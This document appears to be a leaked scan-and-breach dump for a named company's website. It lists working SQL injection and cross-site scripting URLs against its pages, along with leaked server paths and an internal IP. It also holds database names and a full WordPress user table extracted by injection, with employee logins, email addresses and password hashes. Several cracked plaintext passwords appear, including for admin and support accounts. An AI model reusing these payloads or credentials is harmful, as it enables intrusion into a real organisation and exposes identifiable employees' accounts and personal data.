comprousa.com

*--------------------------------------------------------------------------------------*
Boolean Based SQL Injection
http://www.comprousa.com/en/news_view.php?id=-1 OR 17-7=10
*--------------------------------------------------------------------------------------*
[High Possibility] SQL Injection
http://www.comprousa.com/en/news_view.php?id=%27
http://www.comprousa.com/en/admin/img.php?news=1&id=%27
*--------------------------------------------------------------------------------------*
XSS - Cross-site Scripting
http://www.comprousa.com/en/faq/s500.php?'"--></style></script><script>alert(0x0004BA)</script>
http://www.comprousa.com/en/ipcam_preview/check.html?p='"--></style></script><script>alert(0x001502)</script>
*--------------------------------------------------------------------------------------*
Password Transmitted Over HTTP
http://www.comprousa.com/en/ipcam_preview/check.html?p=ip70
*--------------------------------------------------------------------------------------*
Cookie Not Marked As HttpOnly
http://www.comprousa.com/en/buy_mail.php
*--------------------------------------------------------------------------------------*
Programming Error Message - http://www.comprousa.com/en/admin/news_admin.php
<b>Warning</b>: mysql_close(): supplied argument is not a valid MySQL-Link
resource in <b>/home1/comprous/public_html/comprousa/en/admin/news_admin.php</b> on line <b>209</b>
*--------------------------------------------------------------------------------------*
Possible] Internal IP Address Leakage - http://www.comprousa.com/en/faq/support/support.html
192.168.0.164
*--------------------------------------------------------------------------------------*
[Possible] Internal Path Leakage (*nix) - http://www.comprousa.com/en/faq/support/error_log
/usr/lib/php:/usr/local/lib/php
*--------------------------------------------------------------------------------------*
http://www.comprousa.com/en/admin/pctv_category.php
/usr/lib64/php:/usr/lib/php:/usr/share/pear
*--------------------------------------------------------------------------------------*
http://www.comprousa.com/en/images/error_log
/usr/local/lib/php/extensions/no-debug-non-zts-20060613/pdo.so
/usr/local/lib/php/extensions/no-debug-non-zts-20060613/pdo.so:
/usr/local/lib/php/extensions/no-debug-non-zts-20060613/sqlite.so
/usr/local/lib/php/extensions/no-debug-non-zts-20060613/sqlite.so:
/usr/local/lib/php/extensions/no-debug-non-zts-20060613/pdo_sqlite.so
/usr/local/lib/php/extensions/no-debug-non-zts-20060613/pdo_sqlite.so:
/usr/local/lib/php/extensions/no-debug-non-zts-20060613/pdo_mysql.so
/usr/local/lib/php/extensions/no-debug-non-zts-20060613/pdo_mysql.so:
*--------------------------------------------------------------------------------------*

Web Server: Apache / Powered-by: PHP/5.2.17 / DB Server: MySQL
=
information_schema -USER_PRIVILEGES - 'comprous_compro'@'localhost'
=
Data Base Found: information_schema
Data Base Found: comprous_compro
Data Base Found: comprous_drupal
Data Base Found: comprous_feedback
Data Base Found: comprous_iso
Data Base Found: comprous_warranty
Data Base Found: comprous_wheretobuy
Data Base Found: comprous_wordpress
=

Data Base: comprous_wordpress

Columns found:
ID,user_login,user_pass,user_nicename,user_email,user_url,
user_registered,user_activation_key,user_status,display_name

Count(*) of comprous_wordpress.wp_users is 13

Data Found: ID=1
Data Found: user_login=admin
Data Found: user_pass=$P$Bn6RS3JCoNQYn.28RhJ3jrgZhbhyYp/  password: comproadmin
Data Found: user_nicename=admin
Data Found: user_email=service@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-02-05 01:19:52
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=admin

Data Found: ID=10
Data Found: user_login=FAE
Data Found: user_pass=$P$BQi7M15nsYhsenRTj7Ll4nnD/HC53U1
Data Found: user_nicename=fae
Data Found: user_email=carlos@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-02-12 05:42:38
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=FAE

Data Found: ID=12
Data Found: user_login=Hans
Data Found: user_pass=$P$BLs8RKsimH2NDasGx3sbE4ZtU6kzt.1
Data Found: user_nicename=hans
Data Found: user_email=hans@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-02-23 03:30:53
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=Hans

Data Found: ID=14
Data Found: user_login=Johnson
Data Found: user_pass=$P$BCzag.UeXph1fw7znG7PFujf6gYmbI0
Data Found: user_nicename=johnson
Data Found: user_email=johnson@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-02-25 08:37:49
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=Johnson

Data Found: ID=16
Data Found: user_login=Mike
Data Found: user_pass=$P$BuE6gni57ogB6/5iAGyTJwWduIBnes0
Data Found: user_nicename=mike
Data Found: user_email=mike@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-03-01 11:32:38
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=Mike

Data Found: ID=17
Data Found: user_login=Caroline
Data Found: user_pass=$P$BNkKaPsN22hMJf8pCAXvDCO9QxaYDg0
Data Found: user_nicename=caroline
Data Found: user_email=caroline@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-03-01 11:33:51
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=Caroline

Data Found: ID=18
Data Found: user_login=Jenny
Data Found: user_pass=$P$BEJRj6.EzbSBAkQIfvkZVOiwiVFMAI1
Data Found: user_nicename=jenny
Data Found: user_email=jenny@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-03-01 11:34:25
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=Jenny

Data Found: ID=19
Data Found: user_login=Kevin
Data Found: user_pass=$P$BbXoP7KSfTXNCFB./4xJwXf97WP3jN0
Data Found: user_nicename=kevin
Data Found: user_email=kevin@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-03-01 11:35:00
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=Kevin

Data Found: ID=20
Data Found: user_login=Victor
Data Found: user_pass=$P$BrryaW5vpqJyTS.ykg7mpL6LvxaY700
Data Found: user_nicename=victor
Data Found: user_email=victor@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-04-08 02:10:05
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=Victor

Data Found: ID=21
Data Found: user_login=Roder
Data Found: user_pass=$P$B.xPh67A0OKounWxjLdGnSC6MAikda.  password: roder123
Data Found: user_nicename=roder
Data Found: user_email=roder@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-04-08 03:06:31
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=Roder

Data Found: ID=22
Data Found: user_login=KevinSu
Data Found: user_pass=$P$Bvloym3itPzvkfPn0D.H22E1Cf5lxt1
Data Found: user_nicename=kevinsu
Data Found: user_email=kevin_su@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-05-06 05:33:16
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=Kevin Su

Data Found: ID=23
Data Found: user_login=Alice
Data Found: user_pass=$P$BhZrCf6NdLHlrSdoYMu3.sg8GAdkmM1
Data Found: user_nicename=alice
Data Found: user_email=alice@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-05-26 08:43:39
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=Alice

Data Found: ID=24
Data Found: user_login=Jacken
Data Found: user_pass=$P$BxU4HkN9GxqsJUqPuBauHqu20MUK68.
Data Found: user_nicename=jacken
Data Found: user_email=jacken@comprousa.com
Data Found: user_url=
Data Found: user_registered=2010-07-15 05:21:52
Data Found: user_activation_key=
Data Found: user_status=0
Data Found: display_name=Jacken
*--------------------------------------------------------------------------------*
Data Base comprous_feedback
Table: 	user_table
username password 	                  realname 	       email                 password
admin 	 24e3961e9d6c1a41326c2c7df2a0b904 System Administrator support@comprousa.com comproadmin
support  40fcc6cf7bfc065fcdd48d4e9dbd70c4 support 	       support@comprousa.com supportgroup